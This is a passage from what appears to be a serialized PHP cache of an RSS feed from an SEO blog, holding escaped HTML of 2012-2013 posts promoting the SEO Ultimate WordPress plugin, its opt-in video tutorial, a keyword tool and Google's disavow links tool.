Editor Dampener Percentage\&quot; src=\&quot;http://www.seodesignsolutions.com/blog/wp-content/uploads/2013/01/Dampener-percentage.jpg\&quot; alt=\&quot;\&quot; width=\&quot;500\&quot; height=\&quot;233\&quot; /&gt;&lt;/p&gt;\n&lt;p&gt;We hope you enjoy and implement this useful SEO feature. This is merely one tactic you can employ using SEO Ultimate for automated internal linking to create optimal on page SEO. Come back soon as we release more informative SEO Ultimate tips and share techniques like how to silo your WordPress blog using the SEO Ultimate Siloed Categories Widget.&lt;/p&gt;\n&lt;p&gt;If you haven’t already, watch the &lt;a href=\&quot;http://www.wpultimatetheme.com/seo-ultimate-video-tutorial/\&quot;&gt;SEO Ultimate Video Tutorial&lt;/a&gt; to learn how to use each module and unleash the pure on page power of this plugin.&lt;/p&gt;\n&lt;p&gt;&lt;a href=\&quot;https://plus.google.com/109189625824502979466/?rel=author\&quot; rel=\&quot;author\&quot;&gt; -Jeffrey&lt;/a&gt;&lt;/p&gt;&lt;div class=\&quot;feedflare\&quot;&gt;\n&lt;a href=\&quot;http://feeds.seodesignsolutions.com/~ff/SeoDesignSolutionsBlog?a=2IWIWQotmU0:4f7r2csqYtA:yIl2AUoC8zA\&quot;&gt;&lt;img src=\&quot;http://feeds.feedburner.com/~ff/SeoDesignSolutionsBlog?d=yIl2AUoC8zA\&quot; border=\&quot;0\&quot;&gt;&lt;/img&gt;&lt;/a&gt;\n&lt;/div&gt;&lt;img src=\&quot;http://feeds.feedburner.com/~r/SeoDesignSolutionsBlog/~4/2IWIWQotmU0\&quot; height=\&quot;1\&quot; width=\&quot;1\&quot;/&gt;\&quot;;}i:10;a:12:{s:5:\&quot;title\&quot;;s:51:\&quot;The Official SEO Ultimate WordPress Plugin Tutorial\&quot;;s:4:\&quot;link\&quot;;s:77:\&quot;http://feeds.seodesignsolutions.com/~r/SeoDesignSolutionsBlog/~3/9GlCsPvzX18/\&quot;;s:8:\&quot;category\&quot;;s:13:\&quot;WordPress SEO\&quot;;s:2:\&quot;dc\&quot;;a:1:{s:7:\&quot;creator\&quot;;s:13:\&quot;Jeffrey_Smith\&quot;;}s:7:\&quot;pubdate\&quot;;s:29:\&quot;Wed, 02 Jan 2013 03:43:03 PST\&quot;;s:4:\&quot;guid\&quot;;s:46:\&quot;http://www.seodesignsolutions.com/blog/?p=9173\&quot;;s:7:\&quot;content\&quot;;a:1:{s:7:\&quot;encoded\&quot;;s:7927:\&quot;&lt;p&gt;It’s that time again to kick off the new year and what better way to do so than (1) a new update to &lt;strong&gt;- &amp;#8220;The Real All-In-One SEO Plugin for WordPress&amp;#8221;&lt;/strong&gt; &amp;#8211; &lt;a href=\&quot;http://wordpress.org/extend/plugins/seo-ultimate/\&quot;&gt;SEO Ultimate&lt;/a&gt; and (2) to  introduce (our long-awaited) comprehensive video tutorial covering each SEO Module in detail for our plugin.&lt;/p&gt;\n&lt;div id=\&quot;attachment_9172\&quot; class=\&quot;wp-caption aligncenter\&quot; style=\&quot;width: 510px\&quot;&gt;&lt;a href=\&quot;http://www.wpultimatetheme.com/seo-ultimate-video-tutorial/\&quot;&gt;&lt;img class=\&quot;size-full wp-image-9172\&quot; title=\&quot;SEO_Ultimate_Logo\&quot; src=\&quot;http://www.seodesignsolutions.com/blog/wp-content/uploads/2013/01/SEO_Ultimate_Logo.jpg\&quot; alt=\&quot;\&quot; width=\&quot;500\&quot; height=\&quot;233\&quot; /&gt;&lt;/a&gt;&lt;p class=\&quot;wp-caption-text\&quot;&gt;Click to Watch the Long-Awaited SEO Ultimate Video Tutorial (Opt-In Required)&lt;/p&gt;&lt;/div&gt;\n&lt;p&gt;For the record, SEO Ultimate &lt;strong&gt;was NOT designed for the public&lt;/strong&gt;; it was originally designed as an in-house SEO tool deployed specifically to provide unparalleled on page SEO setup for WordPress. By consolidating these features into modules (that we could simply toggle on or off and configure at will) allowed us to virtually dominate hundreds of markets for our clients (without having to painstakingly customize the code time and time again).&lt;span id=\&quot;more-9173\&quot;&gt;&lt;/span&gt;&lt;/p&gt;\n&lt;h3&gt;Why All the Secrecy with SEO Ultimate?&lt;/h3&gt;\n&lt;p&gt;Many wondered &amp;#8211; if SEO Ultimate is so awesome, then why not show us how to use this thing? Well, frankly,  if you weren&amp;#8217;t a client, then we didn&amp;#8217;t want to create unnecessary competition in our markets, especially from giving away our most cherished methods free of charge.&lt;/p&gt;\n&lt;p&gt;We hope this explains the lack of documentation over the years &lt;a href=\&quot;http://www.seodesignsolutions.com/blog/wordpress-seo/\&quot;&gt;aside from version updates&lt;/a&gt; where we briefly informed users about new features, but in all honesty, we kept &lt;strong&gt;the real power of SEO Ultimate&lt;/strong&gt; close to the chest &amp;#8211; until now. The time has come to provide detailed documentation of each module, why it&amp;#8217;s important and of course, how to use it &amp;#8211; courtesy of our lead developer &lt;a href=\&quot;http://profiles.wordpress.org/JohnLamansky/\&quot;&gt;John Lamansky&lt;/a&gt;.&lt;/p&gt;\n&lt;p&gt;Unlike some half-baked SEO plugins, we poured over 15 years of real world advanced SEO principles into this plugin. Prior to releasing this tutorial, the argument of just how powerful SEO Ultimate vs. any other SEO plugin &lt;strong&gt;&lt;em&gt;may&lt;/em&gt;&lt;/strong&gt; have been in question. However, after watching the video, this should clear up any confusion about &lt;em&gt;the depth&lt;/em&gt; or &lt;em&gt;the real purpose&lt;/em&gt; behind each module and the scope of the plugin.&lt;/p&gt;\n&lt;p&gt;SEO Ultimate has amazing features such as:&lt;/p&gt;\n&lt;ul&gt;\n&lt;li&gt;Twitter Cards&lt;/li&gt;\n&lt;li&gt;Opengraph Integration&lt;/li&gt;\n&lt;li&gt;Rich Snippets (For Local Pages, Reviews and More)&lt;/li&gt;\n&lt;li&gt;Automated Internal Linking (with New Link Dampening Feature)&lt;/li&gt;\n&lt;li&gt;Affiliate Link Masking&lt;/li&gt;\n&lt;li&gt;A Mass/Bulk Editor for Complete Editing for Meta Tags, Titles, Keywords, Categories, Media Attachments, Post Format Archives and much, much more.&lt;/li&gt;\n&lt;/ul&gt;\n&lt;h3&gt;The WP Ultimate Framework&lt;/h3&gt;\n&lt;p&gt;While the deliberate suppression of information regarding the inner workings of the SEO Ultimate features was not entirely deliberate,  there was a concurrent&lt;strong&gt; master plan&lt;/strong&gt; in the works. Just think of it like a 6  year chess game where each  move unfolds another strategic layer of the battle plan, only to culminate in a brilliant (market-dominating) end-game and check mate. It&amp;#8217;s like that, but in this case its all about the &lt;a href=\&quot;http://www.wpultimatetheme.com/\&quot;&gt;WP Ultimate Framework&lt;/a&gt;.&lt;/p&gt;\n&lt;div id=\&quot;attachment_9174\&quot; class=\&quot;wp-caption aligncenter\&quot; style=\&quot;width: 310px\&quot;&gt;&lt;a href=\&quot;http://www.wpultimatetheme.com/\&quot;&gt;&lt;img class=\&quot;size-full wp-image-9174\&quot; title=\&quot;WPU_logo\&quot; src=\&quot;http://www.seodesignsolutions.com/blog/wp-content/uploads/2013/01/WPU_logo.jpg\&quot; alt=\&quot;\&quot; width=\&quot;300\&quot; height=\&quot;136\&quot; /&gt;&lt;/a&gt;&lt;p class=\&quot;wp-caption-text\&quot;&gt;The WP Ultimate Framework for WordPress&lt;/p&gt;&lt;/div&gt;\n&lt;p&gt;The market dominating check mate in this scenario was that our proprietary SEO platform  (&lt;a href=\&quot;http://wordpress.org/extend/plugins/seo-ultimate/\&quot;&gt;SEO Ultimate&lt;/a&gt;) was absorbed and integrated into our WordPress Framework to  provide unparalled SEO &amp;amp; Design flexibility. The beauty for end-users is, once you gain access to the framework, you also get access to the training as well.&lt;/p&gt;\n&lt;h3&gt;Is WP Ultimate Ready Yet?&lt;/h3&gt;\n&lt;p&gt;Thank you for your patience, as many of you know for the past two years we&amp;#8217;ve toiled away in the labs like obsessive compulsive perfectionists testing the WPU Framework and we&amp;#8217;re nearly finished coding and stress-testing now. When complete, we will release 1000 copies to a select group, then take that feedback and roll even more powerful features into the Framework.&lt;/p&gt;\n&lt;p&gt;Consider it a work in progress, however, recent additions to the framework include adding Twitter Bootstrap,  Google Fonts, a Lightbox Feature which can be toggled via a timer or  link), a more comprehensive Style Editor, a New Media Manager suite to insert ads, media, shortcodes and  more and a Completely Reworked Grid System to handle responsive layouts,  fluid layouts or the ability to create fixed width layouts to liberate  your design impulse and display options and build websites that rank as great as they look.&lt;/p&gt;\n&lt;p&gt;Combine this with the robust SEO power of SEO Ultimate and you can see why we&amp;#8217;re excited&amp;#8230;&lt;/p&gt;\n&lt;p&gt;For a sneak peek, you can read a few of the &lt;a href=\&quot;http://www.wpultimatetheme.com/wp-ultimate-features/\&quot;&gt;WP Ultimate features&lt;/a&gt;, or stay tuned as we release more information on the launch details over the next few weeks.&lt;/p&gt;\n&lt;h3 style=\&quot;text-align: center;\&quot;&gt;&lt;strong&gt;&lt;span style=\&quot;color: #ff0000;\&quot;&gt;WARNING!&lt;/span&gt;&lt;/strong&gt;&lt;/h3&gt;\n&lt;p&gt;I prefer transparency about everything, so, do &lt;strong&gt;not&lt;/strong&gt; be surprised from the opt-in form prior to accessing the video tutorial. The video is over one hour long and jam-packed with  &lt;strong&gt;EVERYTHING&lt;/strong&gt; you&amp;#8217;ll need to get the most our of SEO Ultimate.&lt;/p&gt;\n&lt;p&gt;Also, keep in mind, we intend on putting other advanced training videos and tactics &lt;strong&gt;which will not be featured anywhere else&lt;/strong&gt; in the members section. By opting-in, you&amp;#8217;ll gain access to that material and will also be notified when we launch the WP Ultimate Framework.&lt;/p&gt;\n&lt;p&gt;We hate spam as much as you do and respect your privacy. You can opt out-at any time.  This (content-locking) method simply helps us manage our user-base more efficiently and separate the power-users from the sheep.&lt;/p&gt;\n&lt;div id=\&quot;attachment_9190\&quot; class=\&quot;wp-caption aligncenter\&quot; style=\&quot;width: 410px\&quot;&gt;&lt;a href=\&quot;http://www.wpultimatetheme.com/seo-ultimate-video-tutorial/\&quot;&gt;&lt;img class=\&quot;size-full wp-image-9190\&quot; src=\&quot;http://www.seodesignsolutions.com/blog/wp-content/uploads/2013/01/Opt-In.jpg\&quot; alt=\&quot;\&quot; width=\&quot;400\&quot; height=\&quot;440\&quot; /&gt;&lt;/a&gt;&lt;p class=\&quot;wp-caption-text\&quot;&gt;Enter First Name and Email Address for Instant Access! &lt;/p&gt;&lt;/div&gt;\n&lt;h2 style=\&quot;text-align: center;\&quot;&gt;&amp;gt;&amp;gt;&amp;gt;&lt;a href=\&quot;http://www.wpultimatetheme.com/seo-ultimate-video-tutorial/\&quot;&gt;Click Here to Watch the Official SEO Ultimate Video Tutorial&lt;/a&gt;&amp;lt;&amp;lt;&amp;lt;&lt;/h2&gt;\n&lt;p&gt;We wish you the best in 2013 and look forward to providing the best, cutting-edge SEO tools for WordPress &amp;#8211; period! Help SEO Design Solutions spread the word by sharing or commenting on this post!&lt;/p&gt;\n&lt;p&gt;&lt;a href=\&quot;https://plus.google.com/109189625824502979466/?rel=author\&quot; rel=\&quot;author\&quot;&gt; -Jeffrey&lt;/a&gt;&lt;/p&gt;&lt;div class=\&quot;feedflare\&quot;&gt;\n&lt;a href=\&quot;http://feeds.seodesignsolutions.com/~ff/SeoDesignSolutionsBlog?a=9GlCsPvzX18:pHCh2qSPmZg:yIl2AUoC8zA\&quot;&gt;&lt;img src=\&quot;http://feeds.feedburner.com/~ff/SeoDesignSolutionsBlog?d=yIl2AUoC8zA\&quot; border=\&quot;0\&quot;&gt;&lt;/img&gt;&lt;/a&gt;\n&lt;/div&gt;&lt;img src=\&quot;http://feeds.feedburner.com/~r/SeoDesignSolutionsBlog/~4/9GlCsPvzX18\&quot; height=\&quot;1\&quot; width=\&quot;1\&quot;/&gt;\&quot;;}s:11:\&quot;description\&quot;;s:327:\&quot;It’s that time again to kick off the new year and what better way to do so than (1) a new update to - &amp;#8220;The Real All-In-One SEO Plugin for WordPress&amp;#8221; &amp;#8211; SEO Ultimate and (2) to  introduce (our long-awaited) comprehensive video tutorial covering each SEO Module in detail for our plugin. For the record, [...]\&quot;;s:5:\&quot;slash\&quot;;a:1:{s:8:\&quot;comments\&quot;;s:1:\&quot;2\&quot;;}s:10:\&quot;feedburner\&quot;;a:1:{s:8:\&quot;origlink\&quot;;s:105:\&quot;http://www.seodesignsolutions.com/blog/wordpress-seo/the-official-seo-ultimate-wordpress-plugin-tutorial/\&quot;;}s:7:\&quot;summary\&quot;;s:327:\&quot;It’s that time again to kick off the new year and what better way to do so than (1) a new update to - &amp;#8220;The Real All-In-One SEO Plugin for WordPress&amp;#8221; &amp;#8211; SEO Ultimate and (2) to  introduce (our long-awaited) comprehensive video tutorial covering each SEO Module in detail for our plugin. For the record, [...]\&quot;;s:12:\&quot;atom_content\&quot;;s:7927:\&quot;&lt;p&gt;It’s that time again to kick off the new year and what better way to do so than (1) a new update to &lt;strong&gt;- &amp;#8220;The Real All-In-One SEO Plugin for WordPress&amp;#8221;&lt;/strong&gt; &amp;#8211; &lt;a href=\&quot;http://wordpress.org/extend/plugins/seo-ultimate/\&quot;&gt;SEO Ultimate&lt;/a&gt; and (2) to  introduce (our long-awaited) comprehensive video tutorial covering each SEO Module in detail for our plugin.&lt;/p&gt;\n&lt;div id=\&quot;attachment_9172\&quot; class=\&quot;wp-caption aligncenter\&quot; style=\&quot;width: 510px\&quot;&gt;&lt;a href=\&quot;http://www.wpultimatetheme.com/seo-ultimate-video-tutorial/\&quot;&gt;&lt;img class=\&quot;size-full wp-image-9172\&quot; title=\&quot;SEO_Ultimate_Logo\&quot; src=\&quot;http://www.seodesignsolutions.com/blog/wp-content/uploads/2013/01/SEO_Ultimate_Logo.jpg\&quot; alt=\&quot;\&quot; width=\&quot;500\&quot; height=\&quot;233\&quot; /&gt;&lt;/a&gt;&lt;p class=\&quot;wp-caption-text\&quot;&gt;Click to Watch the Long-Awaited SEO Ultimate Video Tutorial (Opt-In Required)&lt;/p&gt;&lt;/div&gt;\n&lt;p&gt;For the record, SEO Ultimate &lt;strong&gt;was NOT designed for the public&lt;/strong&gt;; it was originally designed as an in-house SEO tool deployed specifically to provide unparalleled on page SEO setup for WordPress. By consolidating these features into modules (that we could simply toggle on or off and configure at will) allowed us to virtually dominate hundreds of markets for our clients (without having to painstakingly customize the code time and time again).&lt;span id=\&quot;more-9173\&quot;&gt;&lt;/span&gt;&lt;/p&gt;\n&lt;h3&gt;Why All the Secrecy with SEO Ultimate?&lt;/h3&gt;\n&lt;p&gt;Many wondered &amp;#8211; if SEO Ultimate is so awesome, then why not show us how to use this thing? Well, frankly,  if you weren&amp;#8217;t a client, then we didn&amp;#8217;t want to create unnecessary competition in our markets, especially from giving away our most cherished methods free of charge.&lt;/p&gt;\n&lt;p&gt;We hope this explains the lack of documentation over the years &lt;a href=\&quot;http://www.seodesignsolutions.com/blog/wordpress-seo/\&quot;&gt;aside from version updates&lt;/a&gt; where we briefly informed users about new features, but in all honesty, we kept &lt;strong&gt;the real power of SEO Ultimate&lt;/strong&gt; close to the chest &amp;#8211; until now. The time has come to provide detailed documentation of each module, why it&amp;#8217;s important and of course, how to use it &amp;#8211; courtesy of our lead developer &lt;a href=\&quot;http://profiles.wordpress.org/JohnLamansky/\&quot;&gt;John Lamansky&lt;/a&gt;.&lt;/p&gt;\n&lt;p&gt;Unlike some half-baked SEO plugins, we poured over 15 years of real world advanced SEO principles into this plugin. Prior to releasing this tutorial, the argument of just how powerful SEO Ultimate vs. any other SEO plugin &lt;strong&gt;&lt;em&gt;may&lt;/em&gt;&lt;/strong&gt; have been in question. However, after watching the video, this should clear up any confusion about &lt;em&gt;the depth&lt;/em&gt; or &lt;em&gt;the real purpose&lt;/em&gt; behind each module and the scope of the plugin.&lt;/p&gt;\n&lt;p&gt;SEO Ultimate has amazing features such as:&lt;/p&gt;\n&lt;ul&gt;\n&lt;li&gt;Twitter Cards&lt;/li&gt;\n&lt;li&gt;Opengraph Integration&lt;/li&gt;\n&lt;li&gt;Rich Snippets (For Local Pages, Reviews and More)&lt;/li&gt;\n&lt;li&gt;Automated Internal Linking (with New Link Dampening Feature)&lt;/li&gt;\n&lt;li&gt;Affiliate Link Masking&lt;/li&gt;\n&lt;li&gt;A Mass/Bulk Editor for Complete Editing for Meta Tags, Titles, Keywords, Categories, Media Attachments, Post Format Archives and much, much more.&lt;/li&gt;\n&lt;/ul&gt;\n&lt;h3&gt;The WP Ultimate Framework&lt;/h3&gt;\n&lt;p&gt;While the deliberate suppression of information regarding the inner workings of the SEO Ultimate features was not entirely deliberate,  there was a concurrent&lt;strong&gt; master plan&lt;/strong&gt; in the works. Just think of it like a 6  year chess game where each  move unfolds another strategic layer of the battle plan, only to culminate in a brilliant (market-dominating) end-game and check mate. It&amp;#8217;s like that, but in this case its all about the &lt;a href=\&quot;http://www.wpultimatetheme.com/\&quot;&gt;WP Ultimate Framework&lt;/a&gt;.&lt;/p&gt;\n&lt;div id=\&quot;attachment_9174\&quot; class=\&quot;wp-caption aligncenter\&quot; style=\&quot;width: 310px\&quot;&gt;&lt;a href=\&quot;http://www.wpultimatetheme.com/\&quot;&gt;&lt;img class=\&quot;size-full wp-image-9174\&quot; title=\&quot;WPU_logo\&quot; src=\&quot;http://www.seodesignsolutions.com/blog/wp-content/uploads/2013/01/WPU_logo.jpg\&quot; alt=\&quot;\&quot; width=\&quot;300\&quot; height=\&quot;136\&quot; /&gt;&lt;/a&gt;&lt;p class=\&quot;wp-caption-text\&quot;&gt;The WP Ultimate Framework for WordPress&lt;/p&gt;&lt;/div&gt;\n&lt;p&gt;The market dominating check mate in this scenario was that our proprietary SEO platform  (&lt;a href=\&quot;http://wordpress.org/extend/plugins/seo-ultimate/\&quot;&gt;SEO Ultimate&lt;/a&gt;) was absorbed and integrated into our WordPress Framework to  provide unparalled SEO &amp;amp; Design flexibility. The beauty for end-users is, once you gain access to the framework, you also get access to the training as well.&lt;/p&gt;\n&lt;h3&gt;Is WP Ultimate Ready Yet?&lt;/h3&gt;\n&lt;p&gt;Thank you for your patience, as many of you know for the past two years we&amp;#8217;ve toiled away in the labs like obsessive compulsive perfectionists testing the WPU Framework and we&amp;#8217;re nearly finished coding and stress-testing now. When complete, we will release 1000 copies to a select group, then take that feedback and roll even more powerful features into the Framework.&lt;/p&gt;\n&lt;p&gt;Consider it a work in progress, however, recent additions to the framework include adding Twitter Bootstrap,  Google Fonts, a Lightbox Feature which can be toggled via a timer or  link), a more comprehensive Style Editor, a New Media Manager suite to insert ads, media, shortcodes and  more and a Completely Reworked Grid System to handle responsive layouts,  fluid layouts or the ability to create fixed width layouts to liberate  your design impulse and display options and build websites that rank as great as they look.&lt;/p&gt;\n&lt;p&gt;Combine this with the robust SEO power of SEO Ultimate and you can see why we&amp;#8217;re excited&amp;#8230;&lt;/p&gt;\n&lt;p&gt;For a sneak peek, you can read a few of the &lt;a href=\&quot;http://www.wpultimatetheme.com/wp-ultimate-features/\&quot;&gt;WP Ultimate features&lt;/a&gt;, or stay tuned as we release more information on the launch details over the next few weeks.&lt;/p&gt;\n&lt;h3 style=\&quot;text-align: center;\&quot;&gt;&lt;strong&gt;&lt;span style=\&quot;color: #ff0000;\&quot;&gt;WARNING!&lt;/span&gt;&lt;/strong&gt;&lt;/h3&gt;\n&lt;p&gt;I prefer transparency about everything, so, do &lt;strong&gt;not&lt;/strong&gt; be surprised from the opt-in form prior to accessing the video tutorial. The video is over one hour long and jam-packed with  &lt;strong&gt;EVERYTHING&lt;/strong&gt; you&amp;#8217;ll need to get the most our of SEO Ultimate.&lt;/p&gt;\n&lt;p&gt;Also, keep in mind, we intend on putting other advanced training videos and tactics &lt;strong&gt;which will not be featured anywhere else&lt;/strong&gt; in the members section. By opting-in, you&amp;#8217;ll gain access to that material and will also be notified when we launch the WP Ultimate Framework.&lt;/p&gt;\n&lt;p&gt;We hate spam as much as you do and respect your privacy. You can opt out-at any time.  This (content-locking) method simply helps us manage our user-base more efficiently and separate the power-users from the sheep.&lt;/p&gt;\n&lt;div id=\&quot;attachment_9190\&quot; class=\&quot;wp-caption aligncenter\&quot; style=\&quot;width: 410px\&quot;&gt;&lt;a href=\&quot;http://www.wpultimatetheme.com/seo-ultimate-video-tutorial/\&quot;&gt;&lt;img class=\&quot;size-full wp-image-9190\&quot; src=\&quot;http://www.seodesignsolutions.com/blog/wp-content/uploads/2013/01/Opt-In.jpg\&quot; alt=\&quot;\&quot; width=\&quot;400\&quot; height=\&quot;440\&quot; /&gt;&lt;/a&gt;&lt;p class=\&quot;wp-caption-text\&quot;&gt;Enter First Name and Email Address for Instant Access! &lt;/p&gt;&lt;/div&gt;\n&lt;h2 style=\&quot;text-align: center;\&quot;&gt;&amp;gt;&amp;gt;&amp;gt;&lt;a href=\&quot;http://www.wpultimatetheme.com/seo-ultimate-video-tutorial/\&quot;&gt;Click Here to Watch the Official SEO Ultimate Video Tutorial&lt;/a&gt;&amp;lt;&amp;lt;&amp;lt;&lt;/h2&gt;\n&lt;p&gt;We wish you the best in 2013 and look forward to providing the best, cutting-edge SEO tools for WordPress &amp;#8211; period! Help SEO Design Solutions spread the word by sharing or commenting on this post!&lt;/p&gt;\n&lt;p&gt;&lt;a href=\&quot;https://plus.google.com/109189625824502979466/?rel=author\&quot; rel=\&quot;author\&quot;&gt; -Jeffrey&lt;/a&gt;&lt;/p&gt;&lt;div class=\&quot;feedflare\&quot;&gt;\n&lt;a href=\&quot;http://feeds.seodesignsolutions.com/~ff/SeoDesignSolutionsBlog?a=9GlCsPvzX18:pHCh2qSPmZg:yIl2AUoC8zA\&quot;&gt;&lt;img src=\&quot;http://feeds.feedburner.com/~ff/SeoDesignSolutionsBlog?d=yIl2AUoC8zA\&quot; border=\&quot;0\&quot;&gt;&lt;/img&gt;&lt;/a&gt;\n&lt;/div&gt;&lt;img src=\&quot;http://feeds.feedburner.com/~r/SeoDesignSolutionsBlog/~4/9GlCsPvzX18\&quot; height=\&quot;1\&quot; width=\&quot;1\&quot;/&gt;\&quot;;}i:11;a:12:{s:5:\&quot;title\&quot;;s:44:\&quot;The Last Keyword Tool: SEO Tactics Revealed!\&quot;;s:4:\&quot;link\&quot;;s:77:\&quot;http://feeds.seodesignsolutions.com/~r/SeoDesignSolutionsBlog/~3/33-91D7MqvE/\&quot;;s:8:\&quot;category\&quot;;s:76:\&quot;SEO VideosKeyword ToolsNetwork Empire Last Keyword ToolThe Last Keyword Tool\&quot;;s:2:\&quot;dc\&quot;;a:1:{s:7:\&quot;creator\&quot;;s:13:\&quot;Jeffrey_Smith\&quot;;}s:7:\&quot;pubdate\&quot;;s:29:\&quot;Sat, 27 Oct 2012 13:54:26 PDT\&quot;;s:4:\&quot;guid\&quot;;s:46:\&quot;http://www.seodesignsolutions.com/blog/?p=9166\&quot;;s:7:\&quot;content\&quot;;a:1:{s:7:\&quot;encoded\&quot;;s:1639:\&quot;&lt;p&gt;Keywords are the cornerstone of any online conversation. Metrics such as user engagement, conversion and search engine optimization all rely on critical keywords and their convergence to convey relevancy and intent to your audience. The question is, how do you know which keywords are worth using and which are better to ignore?&lt;/p&gt;\n&lt;p&gt;&lt;object width=\&quot;500\&quot; height=\&quot;281\&quot;&gt;&lt;param name=\&quot;movie\&quot; value=\&quot;http://www.youtube.com/v/grQ4qZSzjBc?version=3&amp;amp;hl=en_US\&quot;&gt;&lt;/param&gt;&lt;param name=\&quot;allowFullScreen\&quot; value=\&quot;true\&quot;&gt;&lt;/param&gt;&lt;param name=\&quot;allowscriptaccess\&quot; value=\&quot;always\&quot;&gt;&lt;/param&gt;&lt;embed src=\&quot;http://www.youtube.com/v/grQ4qZSzjBc?version=3&amp;amp;hl=en_US\&quot; type=\&quot;application/x-shockwave-flash\&quot; width=\&quot;500\&quot; height=\&quot;281\&quot; allowscriptaccess=\&quot;always\&quot; allowfullscreen=\&quot;true\&quot;&gt;&lt;/embed&gt;&lt;/object&gt;&lt;/p&gt;\n&lt;p&gt;Watch the video above (which is an insightful view into the mind of Sue &lt;strong&gt;&amp;#8220;The Architect&amp;#8221;&lt;/strong&gt; Bell from Themezoom / Network Empire) as she reveals dozens of useful SEO strategies for harvesting lucrative keywords and how to integrate them into your semantic website architecture using &lt;a href=\&quot;http://lastkeywordtool.themezoom.com/?ref=sds\&quot;&gt;The Last Keyword Tool&lt;/a&gt;.&lt;/p&gt;\n&lt;p&gt;Enjoy!&lt;/p&gt;\n&lt;p&gt;&lt;a href=\&quot;https://plus.google.com/109189625824502979466/?rel=author\&quot; rel=\&quot;author\&quot;&gt; -Jeffrey&lt;/a&gt;&lt;/p&gt;&lt;div class=\&quot;feedflare\&quot;&gt;\n&lt;a href=\&quot;http://feeds.seodesignsolutions.com/~ff/SeoDesignSolutionsBlog?a=33-91D7MqvE:VM0WoZ8DbNo:yIl2AUoC8zA\&quot;&gt;&lt;img src=\&quot;http://feeds.feedburner.com/~ff/SeoDesignSolutionsBlog?d=yIl2AUoC8zA\&quot; border=\&quot;0\&quot;&gt;&lt;/img&gt;&lt;/a&gt;\n&lt;/div&gt;&lt;img src=\&quot;http://feeds.feedburner.com/~r/SeoDesignSolutionsBlog/~4/33-91D7MqvE\&quot; height=\&quot;1\&quot; width=\&quot;1\&quot;/&gt;\&quot;;}s:11:\&quot;description\&quot;;s:350:\&quot;Keywords are the cornerstone of any online conversation. Metrics such as user engagement, conversion and search engine optimization all rely on critical keywords and their convergence to convey relevancy and intent to your audience. The question is, how do you know which keywords are worth using and which are better to ignore? Watch the video [...]\&quot;;s:5:\&quot;slash\&quot;;a:1:{s:8:\&quot;comments\&quot;;s:1:\&quot;6\&quot;;}s:10:\&quot;feedburner\&quot;;a:1:{s:8:\&quot;origlink\&quot;;s:93:\&quot;http://www.seodesignsolutions.com/blog/seo-videos/the-last-keyword-tool-seo-tactics-revealed/\&quot;;}s:7:\&quot;summary\&quot;;s:350:\&quot;Keywords are the cornerstone of any online conversation. Metrics such as user engagement, conversion and search engine optimization all rely on critical keywords and their convergence to convey relevancy and intent to your audience. The question is, how do you know which keywords are worth using and which are better to ignore? Watch the video [...]\&quot;;s:12:\&quot;atom_content\&quot;;s:1639:\&quot;&lt;p&gt;Keywords are the cornerstone of any online conversation. Metrics such as user engagement, conversion and search engine optimization all rely on critical keywords and their convergence to convey relevancy and intent to your audience. The question is, how do you know which keywords are worth using and which are better to ignore?&lt;/p&gt;\n&lt;p&gt;&lt;object width=\&quot;500\&quot; height=\&quot;281\&quot;&gt;&lt;param name=\&quot;movie\&quot; value=\&quot;http://www.youtube.com/v/grQ4qZSzjBc?version=3&amp;amp;hl=en_US\&quot;&gt;&lt;/param&gt;&lt;param name=\&quot;allowFullScreen\&quot; value=\&quot;true\&quot;&gt;&lt;/param&gt;&lt;param name=\&quot;allowscriptaccess\&quot; value=\&quot;always\&quot;&gt;&lt;/param&gt;&lt;embed src=\&quot;http://www.youtube.com/v/grQ4qZSzjBc?version=3&amp;amp;hl=en_US\&quot; type=\&quot;application/x-shockwave-flash\&quot; width=\&quot;500\&quot; height=\&quot;281\&quot; allowscriptaccess=\&quot;always\&quot; allowfullscreen=\&quot;true\&quot;&gt;&lt;/embed&gt;&lt;/object&gt;&lt;/p&gt;\n&lt;p&gt;Watch the video above (which is an insightful view into the mind of Sue &lt;strong&gt;&amp;#8220;The Architect&amp;#8221;&lt;/strong&gt; Bell from Themezoom / Network Empire) as she reveals dozens of useful SEO strategies for harvesting lucrative keywords and how to integrate them into your semantic website architecture using &lt;a href=\&quot;http://lastkeywordtool.themezoom.com/?ref=sds\&quot;&gt;The Last Keyword Tool&lt;/a&gt;.&lt;/p&gt;\n&lt;p&gt;Enjoy!&lt;/p&gt;\n&lt;p&gt;&lt;a href=\&quot;https://plus.google.com/109189625824502979466/?rel=author\&quot; rel=\&quot;author\&quot;&gt; -Jeffrey&lt;/a&gt;&lt;/p&gt;&lt;div class=\&quot;feedflare\&quot;&gt;\n&lt;a href=\&quot;http://feeds.seodesignsolutions.com/~ff/SeoDesignSolutionsBlog?a=33-91D7MqvE:VM0WoZ8DbNo:yIl2AUoC8zA\&quot;&gt;&lt;img src=\&quot;http://feeds.feedburner.com/~ff/SeoDesignSolutionsBlog?d=yIl2AUoC8zA\&quot; border=\&quot;0\&quot;&gt;&lt;/img&gt;&lt;/a&gt;\n&lt;/div&gt;&lt;img src=\&quot;http://feeds.feedburner.com/~r/SeoDesignSolutionsBlog/~4/33-91D7MqvE\&quot; height=\&quot;1\&quot; width=\&quot;1\&quot;/&gt;\&quot;;}i:12;a:12:{s:5:\&quot;title\&quot;;s:40:\&quot;Google Disavow Links Tool: Declassified!\&quot;;s:4:\&quot;link\&quot;;s:77:\&quot;http://feeds.seodesignsolutions.com/~r/SeoDesignSolutionsBlog/~3/wLnwxXKpQsQ/\&quot;;s:8:\&quot;category\&quot;;s:13:\&quot;Internet News\&quot;;s:2:\&quot;dc\&quot;;a:1:{s:7:\&quot;creator\&quot;;s:13:\&quot;Jeffrey_Smith\&quot;;}s:7:\&quot;pubdate\&quot;;s:29:\&quot;Thu, 18 Oct 2012 06:18:13 PDT\&quot;;s:4:\&quot;guid\&quot;;s:46:\&quot;http://www.seodesignsolutions.com/blog/?p=9159\&quot;;s:7:\&quot;content\&quot;;a:1:{s:7:\&quot;encoded\&quot;;s:4309:\&quot;&lt;p&gt;In case you haven’t heard, Google has released a new &lt;a href=\&quot;http://googlewebmastercentral.blogspot.com/2012/10/a-new-tool-to-disavow-links.html\&quot;&gt;disavow links tool&lt;/a&gt; allowing you to disavow (deny the existence of) any &lt;strong&gt;questionable&lt;/strong&gt; backlinks.&lt;a href=\&quot;http://www.seodesignsolutions.com/blog/internet-news/google-disavow-links-tool-declassified/\&quot;&gt;&lt;img class=\&quot;aligncenter size-full wp-image-9160\&quot; title=\&quot;mission-impossible\&quot; 